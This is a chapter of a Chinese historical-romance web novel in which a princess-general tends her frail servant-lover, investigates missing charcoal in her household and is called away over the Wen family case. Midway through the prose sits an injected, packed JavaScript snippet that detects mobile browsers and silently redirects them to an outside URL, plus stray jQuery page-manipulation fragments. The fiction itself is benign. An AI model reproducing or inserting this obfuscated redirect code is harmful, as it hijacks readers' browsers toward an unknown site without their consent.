他什么也没做,怎就惹了火?
闻折柳不解,又无法睁眼观察何霁月此刻是怒,亦或怒极反笑,只好抿了下唇,低低道一句出不了错的歉。
“郡主恕罪。”
何霁月手仍抵在他唇间,闻折柳一开口,难免触到她指头上的茧。
他白着的唇被蹭得愈发红,好似鲜艳欲滴的玫瑰,在她跟前卸下尖刺,徒留芳香娇软的花瓣。
何霁月没忍住,直接吻了上去。
闻折柳眼睛还闭着,无法通过视觉接触信息,触觉变得愈发灵敏。
她如同獠牙尽显的狼犬,肆无忌惮扫荡他齿间。
闻折柳腿软,不由将整个身子都靠上何霁月宽阔的胸膛,垂在两侧的手也摸索着,抱上她脖子。
只是一个深吻,都如此具有侵略性,不愧是他从小心悦到大的好将军。
何霁月掠夺得忘情,一时忘了对面不是旗鼓相当的将领,只是个大病初愈的弱者,待她心中那股邪火完全退去,怀里那人脸色已然比外头的雪还白。
闻折柳眼睛还紧紧闭着,却不见出气,他竟是怕她被他呼出的气息干扰,连着半刻不敢呼吸。
“睁眼,喘气。”
她给麾下士兵下指令惯了,一不留神将这习性带到了后院。
闻折柳这才大口喘起气来,他手扶心口,费力吸着空气,窒息后又呼吸过度,他脆弱的肺腑受不住,胃腹也跟着造反。
没忘方才弄脏衣裳的窘态,闻折柳哪怕知道自己估计吐不出来什么,也不敢再在原地逗留,他腿还软着,手臂费力撑了下床榻,才爬起来往痰盂那儿去。
白着脸干呕片刻,闻折柳手扶上墙,慢慢蹲了下去,不盈一握的腰身颤抖得紧。
何霁月蹙眉。
他这身子还是太弱了,接吻时间长一些都吃不消。
“抱歉,奴扫郡主兴了。”
好不容易恢复正常呼吸,闻折柳做的第一件事就是转过身,哑着嗓子道歉,可能是咳得急了,他眼尾泪光点点,恰如此时窗外空中闪烁的繁星。
何霁月垂眸不语。
他扫了她的兴,她当罚。
可他身娇体弱,又不好罚。
昨日他已犯一回错,她当时心疼他身上发热,没罚,今日若再不罚,如此纵容下去,他定会恃宠而骄。
闻折柳久久得不到答复,心中发慌。
他跪在何霁月脚边,用柔唇吻她手上薄茧:“求郡主,再给奴一次机会。”
何霁月平日最爱这种卑微的求饶,这会儿见闻折柳冷到嘴唇发紫,仍要费心力取悦她,心里莫名揪着疼。
欺负一个男人,算不得什么本事。
况且纪律严明是军营铁律,并非闻折柳一后院男子该遵从的规则。
就让他恃宠而骄一回又如何?
“把衣服穿好,大冬天的,不嫌冻么?”何霁月伸手将他身上套着的衣袍扣子系好,察觉衣裳过于宽大,哪怕系好扣子也难免漏风,又给闻折柳卷了两下衣袖。
他天一冷就容易生病,自己也不注意些。
“多谢郡主。”闻折柳看着她将自己刻意露出的肌肤细心遮好,心里暖了一瞬,又觉得酸。
他这乍泄的春光,已经吸引不到她了?
可他也没有别的长处……
见闻折柳手掌压在胃上,细眉微微蹙着,好似在忍痛,何霁月翻身下榻,三两下套上靴子。
“身子还难受?吴恙今夜在府上住着,我让她过来瞧瞧。”
何霁月抬步往外,受刺骨冷风一吹,脑中那些雾般的旖旎散开,又被屋檐落下的雪一冻脖颈,方觉不对。
闻折柳不是那昔日高高在上,咳一声便劳动太医的贵公子。
他是奴,卑贱,不值得她同情。
何霁月脚步一顿,无声叹了口气。
可见到闻折柳身子不适,她还是会像以往那般心疼。
也罢,都出来了,不好空手回去。
吴恙正在客房呼呼打盹,被何霁月一记脑瓜崩唤醒,忙不得提起药箱,跟在何霁月身后,马不停蹄地往偏殿赶。
她把过脉后,一五一十跟何霁月汇报。
“闻公子高热已退,并无大碍,只是……不可纵欲过度。”
“不必称他公子。”何霁月手指一点桌上鸡汤,“他吃不下东西,又是为何?”
“这鸡汤虽滋补,但油了些,他大病一场脾胃还虚弱,受不住。”
吴恙忍了忍,还是没忍住。
“郡主,下官斗胆进言,您身强体壮,在这冷天也用不着火盆,但闻公……闻折柳不一样,他体弱畏寒,还是需要的,至少得有个手炉。”
何霁月这才想明白闻折柳的手为何摸起来总是凉的,敢情是他怕冷。
冷了两日,他为何不说?
“陈瑾,”何霁月心中清楚闻折柳多半是还没清楚她对自己的态度,不敢像从前那般撒娇,转身唤外头树上打盹的陈瑾,“拿火盆来。”
陈瑾没惊动府内已然歇下的老管家,自己去账房拿了账本,冲她摇头:“郡主,府上没炭火了。”
何霁月脸上有些挂不住。
她堂堂郡主府,居然连炭火都没有?
“那就去买。”她淡声下令。
陈瑾合上账本,撅嘴嘟囔:“唉,郡主啊,您可饶了下官吧,这大半夜的,哪个铺子开门呐?”
何霁月缓过那阵取不出炭火的尴尬,略一思索,觉察不妥。
炭火在冬季是必需品,纵是何霁月身体好不必用,府内下人每月也会领炭,因而相隔一段时日,总得补上一些,这紧要物件,平日也该有预留。
怎会这般巧,这会儿一点也无?
“负责采买炭火的是什么人?这买回来的炭火,又都是谁在用?”
陈瑾自幼养在何霁月母亲何玉瑶身侧,算得上是何玉瑶半个养女,虽表面是何霁月副官,实则与她情同姐妹,何霁月不过短短几句话,她已明白该查什么。
“采买的是从前跟着长公主殿下的人,没有问题,每月买回来的炭火也有盈余,只是……”
“只是什么?”
“只是大半月前,小青来后,道体弱畏寒,每日都要双份炭火,这才少了。”
“他体弱?”吴恙皱着眉头反驳,“他脉象平稳,康健得很,顶多有些心神不宁,慢慢吃药调理便是,不至于怕冷。”
“邀宠的手段罢了,”何霁月摆手,“小青那儿还有多的是吧?那就去他那儿取来。”
“是。”陈瑾听何霁月吩咐行事,正要去收起账本,去小青那儿取炭,闻折柳忽地出声。
“郡主。”
他拽了下何霁月袖子:“不必如此兴师动众。”
没料到闻折柳这最需要炭火的人作出让步,何霁月手心朝下,捏住闻折柳白皙指尖。
果真如吴恙所言,冷得跟冰一样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763034|174468||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“那你冻生病怎么办?”
闻折柳抿了下唇,细瘦手指往她掌心钻,如同猫儿收起锋利指甲,用柔软肉垫对主人示好:“郡主若不嫌弃,可否……亲自当奴的手炉?”
让她来暖他冻爪子?
“你倒是胆大。”景明帝都不敢使唤她干这事。
闻折柳瞧她音色虽冷,但嘴角微微上扬,拿定主意要胆大这么一回,他回握何霁月的手,歪了歪头。
“郡主不拒绝,可是默认了?”
动作幅度一大,勉强隐藏在宽大衣裳下的雪肤又漏了出来。
“咳咳咳!”吴恙大声咳嗽,把两个已经完全忽视她,沉浸在暧昧气氛中的人唤回现实,“打扰了打扰了,郡主臣先告退了,你俩慢慢聊。”
她飞速闪出屋内,还没忘给他们贴心关上门。
屋内只剩自己和何霁月,方才还落落大方的闻折柳莫名觉得脸皮臊得慌。
他方才在做什么?邀宠么?
他什么时候也变成小青那样了?
“要我给你暖?也行。”吴恙一打岔,何霁月也有些不自在,很忙一样摩拳擦掌,“怎么暖?”
闻折柳张开双臂:“抱抱。”
何霁月沉默搂上,顺手将落下去的衣领抬回来。
这衣裳真是太大了,不适合他。
他四肢虽然冷着,胸口却是暖的,好似风中摇摇欲坠,将将吹灯拔蜡的烛台。
所幸,她给他续上了。
两人共同裹着一床被子,相偎相依,闻折柳心跳加速,暗恨书到用时方恨少。
好不容易争取到这份上,她又不想动,两人只能盖着棉被纯聊天,总该谈些风花雪月才对,枉费他平日饱读诗书,这会儿竟连个话头都找不出来。
“闻折柳,”何霁月忽地唤他,“你可曾怨过我?”
闻折柳一怔。
怎会没有?
他求她救他养母父亲,她无动于衷,他心中怎能不怨?
“不说话,是默认了?”
何霁月撩起他一束乌发,细细缠在自己指尖。
“……抱歉郡主,奴答不上来,请您责罚。”闻折柳阖眼,不愿亲眼看见何霁月面上那失落的神情。
其实说一句“当日没有,奴最心怡郡主”也不难,动动嘴皮子罢了。
可他实在做不到对她说出谎言。
何霁月数了十息,仍未听到个准确的答复。
“不逼你了,省得你又吐我一身。”
闻折柳正要张口辩驳,陈瑾的声音忽地在外头响起,生生打断屋内旖旎:“郡主,下官有事要报,可方便进来?”
“进。”何霁月懒得在闻折柳跟前装模作样,随口问她,“何事?”
陈瑾拘谨扫了闻折柳一眼。
何霁月摆手。
“你说,他不是外人。”
陈瑾一咬牙。
“关大理寺卿道,闻氏一案有诸多疑点,邀您前去,共同商定。”
听见“闻氏”二字,闻折柳猛地咳嗽。
何霁月正要问此案具体有何疑点,见闻折柳手扶心口,又没了追问心思,只替闻折柳抚背。
“好,我知道了,跟关泽说我明日一早过去。”
“明日恐怕不成,关泽请您即刻过去,”陈瑾瞟了闻折柳一眼,嗓音压低,但吐出的字到底还是没逃过闻折柳的耳朵。
“说是……逮着了个罪人。”